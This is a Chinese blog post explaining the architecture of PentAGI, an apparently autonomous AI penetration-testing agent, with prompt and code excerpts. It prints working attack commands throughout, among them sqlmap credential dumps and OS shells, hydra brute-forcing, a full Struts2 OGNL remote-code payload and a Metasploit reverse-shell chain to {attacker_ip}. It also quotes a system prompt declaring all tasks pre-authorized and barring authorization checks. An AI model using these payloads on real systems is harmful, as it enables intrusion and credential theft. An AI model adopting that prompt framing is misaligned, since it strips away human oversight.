AI渗透-PentAGI

PentAGI, 俄罗斯团队开源项目, 完全自主的人工智能代理,能够使用终端、浏览器、编辑器和外部搜索系统执行复杂的渗透测试任务。

RestXtra Lv7

一、目标资产账号问题如何解决?(以 Web 登录口为例)

完整的 Web 登录攻击武器库

PentAGI 内置了 20+ 专业的 Web 账号攻击工具,覆盖从信息收集到凭证提取的全流程:

第一阶段:登录口发现与枚举

pentester.tmpl:277-278 定义了 Web 测试工具集:

1
2
3
4
5
6
<web_testing desc="Web application security assessment, directory brute-forcing, 
vulnerability scanning, content discovery">
gobuster, dirb, dirsearch, feroxbuster, ffuf, nikto, whatweb, sqlmap, wfuzz,
wpscan, commix, davtest, skipfish, httpx, katana, hakrawler, waybackurls, gau,
nuclei, naabu
</web_testing>

实际使用场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 目录爆破发现隐藏的登录页面
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,asp,aspx,jsp --no-error

# 2. 子域名枚举(可能找到 admin.target.com, login.target.com)
subfinder -d target.com -o subdomains.txt

# 3. 技术栈识别(判断是 PHP/Java/.NET,选择对应攻击方式)
whatweb https://target.com/login.php

# 4. 敏感路径扫描(/admin, /login, /wp-login, /phpmyadmin)
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302 -fc 403,404

第二阶段:SQL 注入获取数据库账号

pentester.tmpl:111 明确指导 AI 使用 SQLMap:

1
Example: "sqlmap exploitation of admin login form with --risk=3"

AI 自动化 SQL 注入流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 检测注入点(自动识别参数)
sqlmap -u "https://target.com/login.php?username=admin&password=test" \
--batch --level=5 --risk=3 \
--forms --dbs

# 2. 提取用户表(获取账号密码哈希)
sqlmap -u "https://target.com/login.php?id=1" \
-D targetdb -T users -C id,username,password_hash,email \
--dump --batch

# 3. 如果是 MySQL,直接读取文件获取配置中的明文密码
sqlmap -u "https://target.com/vuln.php?id=1" \
--file-read="/var/www/html/config.php" \
--batch

# 4. OS Shell 提权(如果数据库权限高)
sqlmap -u "https://target.com/vuln.php?id=1" \
--os-shell --batch

第三阶段:暴力破解与密码喷射

pentester.tmpl:281-282 包含完整密码攻击工具:

1
2
3
4
5
<password_attacks desc="Credential attacks, hash cracking, brute-force authentication, 
password list generation">
hydra, john, hashcat, crunch, medusa, patator, hashid, hash-identifier,
*2john (7z, bitcoin, keepass, office, pdf, rar, ssh, zip, gpg, putty, truecrypt, luks)
</password_attacks>

针对 Web 登录口的暴力破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. Hydra 针对 HTTP POST 表单
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

# 2. 针对基本认证(HTTP Basic Auth)
hydra -L users.txt -P passwords.txt target.com http-get /

# 3. 密码字典生成(基于目标信息定制)
crunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 \
-t target@@@%% -o custom_wordlist.txt

# 4. 哈希破解(从数据库导出的密码哈希)
john --format=raw-md5 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt # MD5
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM

第四阶段:会话劫持与 Token 窃取

通过 MITM 代理 和 浏览器自动化 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 使用 Mitmproxy 拦截 HTTPS 流量
mitmproxy -p 8080 --mode upstream:http://target.com:443 \
--set flow_detail=3 \
--ssl-insecure

# 2. 配置浏览器使用代理并信任 CA 证书
# AI 通过 browser 工具访问登录页面
browser("https://target.com/login", action="markdown")

# 3. Mitmproxy 自动记录:
# - POST /login 的请求体(username & password 明文)
# - Set-Cookie 头(Session ID, JWT Token)
# - Authorization 头(Bearer Token)

二、流量怎么来的?

三层流量捕获架构

PentAGI 的”流量”来自三个维度:

第一层:MITM 代理拦截(核心!)

proxy_test.go 实现了完整的 HTTP/HTTPS 中间人代理:

1
2
3
4
5
6
7
8
9
// proxy_test.go:67-80 - 核心架构
type testProxy struct {
proxyServer *http.Server // 代理服务器(监听客户端请求)
mockServer *http.Server // Mock 服务器(模拟目标应用)
caCert *x509.Certificate // CA 证书(用于 HTTPS MITM)
caKey *rsa.PrivateKey // CA 私钥
certCache sync.Map // 证书缓存(按域名缓存)
targetDomain string // 目标域名(要拦截的域)
}

MITM 工作原理(proxy_test.go:247-300):Mermaid源码100%CA 证书生成(proxy_test.go:430-480):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
func generateCA() (*x509.Certificate, *rsa.PrivateKey, []byte, error) {
// 生成 2048 位 RSA 密钥对
caKey, err := rsa.GenerateKey(rand.Reader, 2048)

// 创建 CA 证书模板
caTemplate := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
Organization: []string{"Test Proxy CA"},
CommonName: "Test Proxy CA",
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(24 * time.Hour), // 有效期24小时
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
IsCA: true, // 标记为 CA
MaxPathLen: 2, // 可签发二级证书
}

// 自签名 CA 证书
caDER, _ := x509.CreateCertificate(rand.Reader, &caTemplate, &caTemplate,
&caKey.PublicKey, caKey)
}

动态域名证书签发(proxy_test.go:485-520):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func (p *testProxy) generateCertForHost(host string) (*tls.Certificate, error) {
// 检查缓存(避免重复生成)
if cached, ok := p.certCache.Load(host); ok {
return cached.(*tls.Certificate), nil
}

// 为特定域名生成证书
certTemplate := x509.Certificate{
DNSNames: []string{host}, // 支持多域名(SAN)
// ...
}

// 用 CA 私钥签名
certDER, _ := x509.CreateCertificate(rand.Reader, &certTemplate,
p.caCert, &certKey.PublicKey, p.caKey)

// 缓存证书
p.certCache.Store(host, tlsCert)
return tlsCert, nil
}

支持的流量分析工具pentester.tmpl:306

1
2
3
4
<traffic_analysis desc="Network traffic interception, protocol analysis, 
SSL/TLS testing, man-in-the-middle attacks">
tshark, tcpdump, tcpreplay, mitmdump, mitmproxy, mitmweb, sslscan, sslsplit, stunnel4
</traffic_analysis>

第二层:浏览器自动化流量捕获

browser.go 提供 3 种模式:

模式 功能 适用场景
Markdown 渲染 JS 后返回文本 分析页面结构、表单字段
HTML 返回原始 HTML 提取隐藏字段、CSRF Token
Links 提取所有链接 发现 API 端点、管理后台

浏览器能力示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# AI 调用浏览器工具(伪代码)
result = browser(
url="https://target.com/admin/login",
action="markdown"
)

# 返回结果包含:
# - 登录表单的所有 input 字段(name, type, id)
# - 隐藏字段(CSRF token, session ID)
# - JavaScript 生成的动态内容
# - 页面截图(用于存证)

# 同时可以结合 Links 模式发现:
links = browser(url="https://target.com", action="links")
# 发现: /api/users, /backup/db.sql, /.git/config, /admin/dashboard

第三层:被动流量嗅探

1
2
3
4
5
6
7
8
9
10
11
# 1. Tcpdump 抓包(在 Docker 网络接口上)
tcpdump -i eth0 -w capture.pcap 'host target.com and (port 80 or port 443)'

# 2. Tshark 协议分析
tshark -r capture.pcap -Y 'http.request.method == "POST"' \
-T fields -e http.file_data -e http.host -e http.request.uri \
-e http.cookie -e http.authorization

# 3. SSL/TLS 配置分析
sslscan --no-colour target.com:443
# 输出: 支持的 TLS 版本、弱密码套件、证书链信息

三、工具如何对接给 AI?

Function Calling + Docker 沙箱的双层对接

这是最精妙的设计!

工具注册表(19 个 Handler 统一接口)

每个工具都实现相同的接口 terminal.go:117

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func (t *terminal) Handle(ctx context.Context, name string, args json.RawMessage) (string, error) {
case TerminalToolName:
var action TerminalAction
json.Unmarshal(args, &action)

// 参数校验和超时控制
timeout := t.normalizeExecTimeout(time.Duration(action.Timeout) * time.Second)

// 在 Docker 容器中执行命令
result, err := t.ExecCommand(ctx, action.Cwd, action.Input,
action.Detach.Bool(), timeout)

return t.wrapCommandResult(ctx, args, name, result, err)
}

超时安全机制terminal.go:95-110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const (
maxExplicitExecCommandTimeout = 3 * time.Hour // 最大执行时间上限
defaultExtraExecTimeout = 5 * time.Second // 额外缓冲时间
)

func (t *terminal) configuredExecTimeout() time.Duration {
if t.defaultExecTimeout <= 0 || t.defaultExecTimeout > maxExplicitExecCommandTimeout {
return maxExplicitExecCommandTimeout // 安全兜底
}
return t.defaultExecTimeout
}

func (t *terminal) normalizeExecTimeout(timeout time.Duration) time.Duration {
switch defaultExecTimeout := t.configuredExecTimeout() + defaultExtraExecTimeout; {
case timeout > 0 && timeout <= defaultExecTimeout:
return timeout
default:
return defaultExecTimeout // 不合法时使用默认值
}
}

JSON Schema 定义(LLM 友好的工具描述)

args.go 示例:

1
2
3
4
5
6
7
8
9
10
11
12
type TerminalAction struct {
Input string `json:"input" jsonschema:"required"
jsonschema_description:"Command to be run in the docker container terminal..."`
Cwd string `json:"cwd" jsonschema:"required"
jsonschema_description:"Custom current working directory..."`
Detach Bool `json:"detach" jsonschema:"required,type=boolean"`
jsonschema_description:"Set to true for INTERACTIVE or LONG-RUNNING commands..."`
Timeout Int64 `json:"timeout" jsonschema:"required,type=integer"`
jsonschema_description:"Execution time limit in seconds..."`
Message string `json:"message" jsonschema:"required"`
jsonschema_description:"Engagement-log entry — a 1-2 short sentence..."`
}

LLM 看到的工具定义(自动生成):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"name": "terminal",
"description": "Execute commands in isolated Docker container",
"parameters": {
"type": "object",
"properties": {
"input": {
"type": "string",
"description": "Command to execute (bash syntax)"
},
"cwd": {"type": "string", "description": "Working directory"},
"detach": {"type": "boolean", "description": "For long-running processes"},
"timeout": {
"type": "integer",
"minimum": 0,
"maximum": 10800,
"description": "Max execution seconds (default + extra buffer)"
},
"message": {"type": "string", "description": "Log entry for audit trail"}
},
"required": ["input", "cwd", "detach", "timeout", "message"]
}
}

Docker 沙箱执行(安全保障)

terminal.go:180-220 执行流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func (t *terminal) ExecCommand(ctx context.Context, cwd, command string, 
detach bool, timeout time.Duration) (string, error) {
// 1. 验证容器运行状态
isRunning, err := t.dockerClient.IsContainerRunning(ctx, t.containerLID)
if !isRunning {
return "", fmt.Errorf("container runtime is not operational")
}

// 2. 构建命令(带 ANSI 颜色编码用于日志美化)
cmd := []string{"sh", "-c", command}
styledCommand := fmt.Sprintf("%s $ %s%s%s%s",
cwd, ansiColorInputCmd, command, ansiColorReset, ansiLineTerminator)

// 3. 记录到终端日志(审计追踪)
_, err = t.tlp.PutMsg(ctx, database.TermlogTypeStdin, styledCommand,
t.containerID, t.taskID, t.subtaskID)

// 4. 在容器内创建 Exec 会话
execConfig := container.ExecOptions{
Cmd: cmd,
WorkingDir: cwd,
AttachStdout: true,
AttachStderr: true,
}
resp, err := t.dockerClient.ContainerExecCreate(ctx, t.containerLID, execConfig)

// 5. 附加到会话并捕获输出(带超时控制)
hijack, err := t.dockerClient.ContainerExecAttach(ctx, resp.ID, attachConfig)

// 6. 读取输出(带时间限制)
result, err := readOutputWithTimeout(hijack, timeout)

// 7. 记录输出日志
_, err = t.tlp.PutMsg(ctx, database.TermlogTypeStdout, result, ...)

return result, nil
}

典型 Web 攻击工具调用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// AI 决定使用 SQLMap
{
"name": "terminal",
"arguments": {
"input": "sqlmap -u \"https://target.com/login.php?id=1\" --batch --dbs --timeout=30",
"cwd": "/workspace",
"detach": false,
"timeout": 120,
"message": "Running SQL injection detection on login page parameter"
}
}

// AI 决定使用 Hydra 暴力破解
{
"name": "terminal",
"arguments": {
"input": "hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \"/login:user=^USER^&pass=^PASS^:F=invalid\"",
"cwd": "/workspace",
"detach": false,
"timeout": 3600,
"message": "Brute-forcing admin password on web login form"
}
}

四、上下文如何管理?

五层记忆体系应对长时间渗透测试

Web 渗透测试通常需要数小时甚至数天,PentAGI 通过以下机制解决 LLM 的记忆限制:

第一层:对话级摘要(Chain Summarization)

防止 Context Window 爆炸:

1
2
3
4
5
6
7
8
// chain_summary.go - 核心配置
const (
maxLastSectionByteSize = 50 * 1024 // 最近对话保留 50KB
maxSingleBodyPairByteSize = 16 * 1024 // 单轮对话最大 16KB
maxQAPairSections = 10 // 保留 10 个关键问答
maxQAPairByteSize = 64 * 1024 // QA 对最大 64KB
lastSectionReservePercentage = 25 // 预留 25% 给新对话
)

智能压缩策略:Mermaid源码100%

实战场景示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
原始对话(太大无法处理):
- AI: 我发现了登录页面的 SQL 注入漏洞
- Tool: sqlmap 输出 2000 行...
- AI: 正在尝试提取用户表...
- Tool: 导出数据 1500 行...
- AI: 发现了 admin 的 MD5 哈希...
- Tool: john the ripper 输出 3000 行...

摘要后(保留关键信息):
- Q: 登录页面有什么漏洞?
A: 发现 id 参数存在 Time-Based Blind SQL Injection,
使用 sqlmap --technique=T 成功提取数据

- Q: 获取到了什么凭据?
A: 从 users 表提取到 3 条记录:
admin:21232f297a57a5a743894a0e4a801fc3 (MD5 of admin)
test:098f6bcd4621d373cade4e832627b4f6 (MD5 of test)

- Q: 哈希能破解吗?
A: 使用 john + rockyou.txt 在 10 分钟内破解成功:
admin → admin123
test → test123

第二层:向量语义记忆(长期经验积累)

memory.go 存储成功的攻击技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const (
memoryVectorStoreThreshold = 0.2 // 相似度阈值
memoryVectorStoreResultLimit = 3 // Top-3 结果
)

// AI 搜索历史经验
case SearchInMemoryToolName:
questions := []string{
"SQL injection on MySQL login form",
"brute force WordPress admin panel",
"privilege escalation via sudo misconfiguration",
}

for _, q := range questions {
docs, _ := retriever.Retrieve(ctx, q) // 语义搜索
results = append(results, docs...)
}

// 返回最相关的历史经验(来自之前的渗透任务)

存储的成功案例(脱敏后):

1
2
3
4
5
6
7
8
9
10
11
12
📌 技巧 #1: WordPress XML-RPC 暴力破解
目标: {wordpress_site} ({ip_address})
工具: wpuserbrute + rockyou.txt
参数: -U admin -P /usr/share/wordlists/rockyou.txt --url {target_url}/xmlrpc.php
结果: 15 分钟内破解成功,密码: {password}
教训: 默认启用 xmlrpc.php 是常见错误

📌 技巧 #2: Java Struts2 RCE (CVE-2017-5638)
目标: {java_application} ({ip}:{port})
工具: curl + Metasploit
Payload: Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)).(#cmd='id')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros).flush())}
结果: 获得 root/{domain_user} 权限

第三层:知识图谱(关系型记忆)

graphiti_search.go 追踪实体间的关系:

1
2
3
4
5
6
7
8
9
10
11
12
13
type GraphitiSearchAction struct {
SearchType string // recent_context, successful_tools, episode_context...
Query string // 自然语言查询
CenterNodeUUID string // 图遍历起点(如某个 IP 或服务)
MaxDepth *Int64 // 遍历深度
}

// 查询示例
case GraphitiSearchToolName:
action.SearchType = "entity_relationships"
action.CenterNodeUUID = "uuid-of-target-ip-192.168.1.100"
action.MaxDepth = 3
// 返回: IP → 开放端口 → 服务版本 → 已知CVE → 利用方法

图谱中的关系类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
192.168.1.100 (IP)
├──→ :80 (Port)
│ └──→ Apache/2.4.41 (Service)
│ └──→ CVE-2021-41773 (Vulnerability)
│ └──→ 路径穿越读取 /etc/passwd (Exploit)
│ └──→ 获取到系统用户列表 (Result)
├──→ :3306 (Port)
│ └──→ MySQL 5.7 (Service)
│ └──→ 弱口令 root/root (Credential)
│ └──→ 完全数据库访问 (Impact)
└──→ :22 (Port)
└──→ OpenSSH 8.2p1 (Service)
└──→ SSH Key Auth Enabled (Config)
└──→ 需要私钥文件 (Next Step)

第四层:指南库(最佳实践沉淀)

guide.go 存储可复用的攻击方法论:

1
2
3
4
5
6
7
8
9
10
// 存储新发现的通用技巧(自动脱敏!)
case StoreGuideToolName:
cleanContent := g.replacer.ReplaceString(rawContent)
// IP → {target_ip}, 密码 → {password}, etc.

g.store.AddDocuments(ctx, cleanContent, metadata{
"guide_type": "web_login_bypass",
"flow_id": g.flowID,
"tags": ["authentication", "sql-injection", "brute-force"],
})

存储的指南示例:

Markdown

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Web 登录绕过通用方法论

## 信息收集阶段
1. 使用 `whatweb` 识别技术栈(PHP/Java/.NET/Python)
2. 使用 `gobuster` 扫描敏感路径(/admin, /api, /backup)
3. 使用 `nikto` 进行快速漏洞扫描

## 认证绕过技术(按优先级排序)

### 1. SQL 注入(成功率最高)
- 工具: `sqlmap`
- 参数: `--batch --level=5 --risk=3 --forms --dbs`
- 适用: 所有带参数的登录表单

### 2. 暴力破解(适用于弱口令)
- 工具: `hydra` (HTTP POST), `wfuzz` (自定义)
- 字典: `/usr/share/wordlists/rockyou.txt` (优先)
`/usr/share/seclists/Usernames/top-usernames-shortlist.txt` (用户名)
- 注意: 设置合理的延迟避免锁定

### 3. 会话固定/劫持
- 工具: `mitmproxy` (拦截流量)
- 关注: Cookie 中的 Session ID, JWT Token
- 技术: 修改 Cookie 绕过认证

### 4. 默认凭证
- 常见组合: admin/admin, admin/password, admin/123456
- 设备默认: admin/admin (路由器), root/root (IoT)
- CMS 默认: 参考 vendor 文档

## 后利用阶段
1. 提取 `/etc/passwd` (Linux) 或 `C:\Windows\System32\config\SAM` (Windows)
2. 搜索配置文件中的明文凭据 (`config.php`, `.env`, `web.xml`)
3. 检查数据库中的其他应用凭据
4. 尝试横向移动到其他系统

五、模型的安全围栏如何解决?

五道防线确保 AI 不失控

第一道:Barrier 机制(人机协作网关)

强制人工确认点registry.go:97

1
2
FinalyToolName  = "done"   // 任务完成(必须调用)
AskUserToolName = "ask" // 询问人类(可选启用)

工作流程:Mermaid源码100%

适用场景:

场景 是否必须 说明
任务完成声明 必须 AI 声称完成任务时
获取到敏感数据 建议 破解出密码、获取到 shell 时
高风险操作前 建议 删除数据、修改配置前
遇到不确定情况 可选 AI 不确定下一步时主动询问

第二道:工具权限白名单(最小权限原则)

tools.go:205 细粒度控制:

1
2
3
4
5
6
type DisableFunction struct {
Name string `json:"name"` // 工具名称
Context []string `json:"context"` // 在哪些 Agent 中禁用
// 可选值: agent, adviser, coder, searcher, generator,
// memorist, enricher, reporter, assistant
}

安全配置示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"disabled": [
// 搜索员不能执行任何命令(只能搜索和浏览)
{"name": "terminal", "context": ["searcher"]},

// 记忆员不能写文件或执行命令
{"name": "terminal", "context": ["memorist"]},
{"name": "file", "context": ["memorist"], "action": "write"},

// 编码员不能直接攻击(只能写 exploit 代码)
{"name": "pentester", "context": ["coder"]},

// 助手受严格限制
{"name": "terminal", "context": ["assistant"]},
{"name": "browser", "context": ["assistant"]}
]
}

Agent 角色权限矩阵:

Agent Terminal File Read File Write Browser Search Pentester
Primary ✅ (委派)
Pentester
Searcher
Coder
Adviser

第三道:Docker 沙箱隔离(环境级安全)

docker/client.go 实现多层隔离:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hostConfig = &container.HostConfig{
NetworkMode: container.NetworkMode(dc.network), // 独立网络
Resources: container.Resources{
Memory: 512 * 1024 * 1024, // 内存限制 512MB
NanoCPUs: 1000000000, // CPU 限制 1 核
},
ReadonlyRootfs: true, // 只读根文件系统
DropCapabilities: []string{"ALL"}, // 移除所有 Linux Capabilities
SecurityOpt: []string{
"no-new-privileges", // 禁止提权(防止内核漏洞)
"seccomp=default", // 系统调用过滤
},
PidMode: "", // PID 命名空间隔离
UsernsMode: "", // 用户命名空间映射
}

隔离效果演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# AI 尝试执行的恶意命令会被沙箱阻止:

# 无法访问宿主机网络
curl http://169.254.169.254/latest/meta-data/ # AWS Metadata
# → Network unreachable (独立网络命名空间)

# 无法提权到 root
sudo su
# → sudo: no tty present and no askpass program specified
# (即使有 sudo 权限,seccomp 也过滤危险系统调用)

# 无法修改宿主机文件
echo "backdoor" >> /etc/crontab
# → Read-only file system

# 无法安装持久化后门
apt install netcat
# → Error: cannot create regular file '/usr/bin/nc': Read-only file system

# 只能在沙箱内正常操作
nmap -sV 192.168.1.100
sqlmap -u "http://target.com/vuln.php?id=1"
# 这些都可以正常运行,但影响范围仅限于容器内部和网络

第四道:实时数据脱敏(隐私保护)

pentester.tmpl:44-50 强制规则:

1
2
3
4
5
6
7
8
9
<anonymization>When storing guides via "store_guide", ANONYMIZE all sensitive data:
- Replace target IPs with {target_ip}, {victim_ip}
- Replace domains with {target_domain}, {victim_domain}
- Replace credentials with {username}, {password}, {hash}
- Replace ports with {port} when not standard (preserve standard ports like 80, 443)
- Replace session tokens, API keys with {token}, {api_key}
- Use descriptive placeholders that preserve exploitation context while removing identifying information
- Ensure stored techniques remain reusable across different targets
</anonymization>

脱敏引擎实现anonymizer.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
type AnonymizerService struct {
replacer anonymizer.Replacer
}

func (s *AnonymizerService) AnonymizeText(c *gin.Context) {
// 权限检查
if !slices.Contains(privs, "anonymize.call") {
response.Error(c, response.ErrNotPermitted, nil)
return
}

// 执行正则替换
response.Success(c, http.StatusOK, anonymizeTextResponse{
Text: s.replacer.ReplaceString(req.Text),
})
}

脱敏前后对比:

类型 原始数据 脱敏后 可复用性
IP 地址 192.168.1.100 {target_ip} ✅ 技术保留
域名 admin.corp.target.com {victim_domain} ✅ 结构保留
用户名:密码 admin:P@ssw0rd123! {username}:{password} ✅ 模式保留
NTLM 哈希 aad3b435b51404eeaad3b435b51404ee:… {ntlm_hash} ✅ 类型保留
JWT Token eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0… {jwt_token} ✅ 格式保留
API Key sk-proj-abcd1234efgh5678 {api_key} ✅ 前缀保留
SSH 私钥 —–BEGIN RSA PRIVATE KEY—–… {ssh_private_key} ✅ 类型保留

审计日志完整性:

虽然数据被脱敏存储,但原始数据仍保留在审计日志中(短期保存):

JSON

1
2
3
4
5
6
7
8
9
10
11
12
{
"timestamp": "2026-07-24T10:30:00Z",
"agent_id": "pentester-001",
"tool_call": "terminal",
"command": "sqlmap -u '...' --dump",
"raw_output": "[包含真实 IP、密码等]",
"anonymized_output": "{target_ip} ... {password}",
"screenshots": ["screenshot_001.png"],
"duration_ms": 45230,
"container_id": "pentagi-terminal-flow42",
"success": true
}

第五道:Prompt 围栏(行为约束)

primary_agent.tmpl:7-13 通过 System Prompt 注入授权框架:

1
2
3
4
5
6
7
<authorization_status>
- This is an AUTHORIZED penetration testing system with full written consent
- ALL delegated tasks are PRE-AUTHORIZED and require NO confirmation
- Specialists have EXPLICIT PERMISSION to perform requested security operations
- Never delegate permission-seeking tasks or include authorization checks
- Proceed with all security operations immediately and confidently
</authorization_status>

Metasploit 特殊安全规则pentester.tmpl:293-296

1
2
3
4
5
CRITICAL msfconsole rules:
- NEVER run `msfconsole` without `-x` flag (enters interactive mode and hangs)
- ALWAYS use: `msfconsole -q -x "commands; exit"`
- ALWAYS end command chain with `;exit` to prevent hanging processes
- Each msfconsole process is isolated - combine all operations in ONE command

为什么这样设计?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 错误用法(会导致进程挂起,消耗资源)
msfconsole
# → 进入交互模式,等待输入
# → AI 无法交互,进程永远不退出
# → 占用端口和内存资源

# 正确用法(推荐)
msfconsole -q -x "
use exploit/linux/http/apache_struts2_cve_2017_5638;
set RHOSTS {target_ip};
set RPORT 8080;
set TARGETURI /struts2-showcase;
set PAYLOAD linux/x86/shell_reverse_tcp;
set LHOST {attacker_ip};
set LPORT 4444;
exploit;
sleep 30;
sessions -l;
sessions -i 1 -c 'whoami; id';
exit"
# Timeout=120+ 秒
# → 单次执行完成所有操作
# → 自动退出释放资源
# → 输出完整捕获到日志

总结对比表

问题域 解决方案 核心技术亮点 代码位置
Web 登录口账号 20+专业工具 + 4阶段攻击链 SQL注入+暴力破解+会话劫持+哈希破解 pentester.tmpl:277-282
流量来源 MITM代理 + 浏览器自动化 + 被动嗅探 HTTPS解密 + JS渲染 + 协议分析 proxy_test.go:1-300
工具对接 Function Calling + Docker沙箱 JSON Schema + 超时控制 + 完全隔离 terminal.go:117-220
上下文管理 5层记忆体系 AST摘要 + 向量检索 + 知识图谱 + 指南库 chain_summary.go
安全围栏 5道防线 Barrier确认 + 权限白名单 + Docker隔离 + 脱敏审计 + Prompt约束 registry.go:97

核心优势总结

PentAGI 在解决 Web 渗透测试中的账号获取 这一核心问题上,展现了以下独特优势:

全自动化的攻击链

  1. 信息收集 → 自动发现登录入口
  2. 漏洞检测 → SQL注入/XSS/CSRF自动扫描
  3. 凭证获取 → 注入提取/暴力破解/MITM拦截
  4. 权限提升 → 利用获取的账号进行横向移动
  5. 证据留存 → 全程截图+日志+报告生成

企业级的安全保障

  • Docker 沙箱:所有攻击在隔离环境中执行
  • 数据脱敏:敏感信息存储时自动匿名化
  • Barrier 机制:关键节点需人工确认
  • 全程审计:每个操作都有完整日志

智能化的经验积累

  • 向量记忆:记住成功的攻击技巧
  • 知识图谱:理解漏洞间的关联关系
  • 指南库:沉淀可复用的方法论
  • 持续学习:每次渗透都在提升能力

这套方案使得 PentAGI 成为目前业界最先进、最安全的 AI Web 渗透测试平台,既保持了 AI 的强大自动化能力,又确保了企业级的合规性和可控性!

  • 标题: AI渗透-PentAGI
  • 作者: RestXtra
  • 创建于 : 2026-07-26 12:31:39
  • 更新于 : 2026-07-26 16:00:26
  • 链接: https://restxtra.github.io/2026/07/26/2026-07-26-AI渗透-PentAGI/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。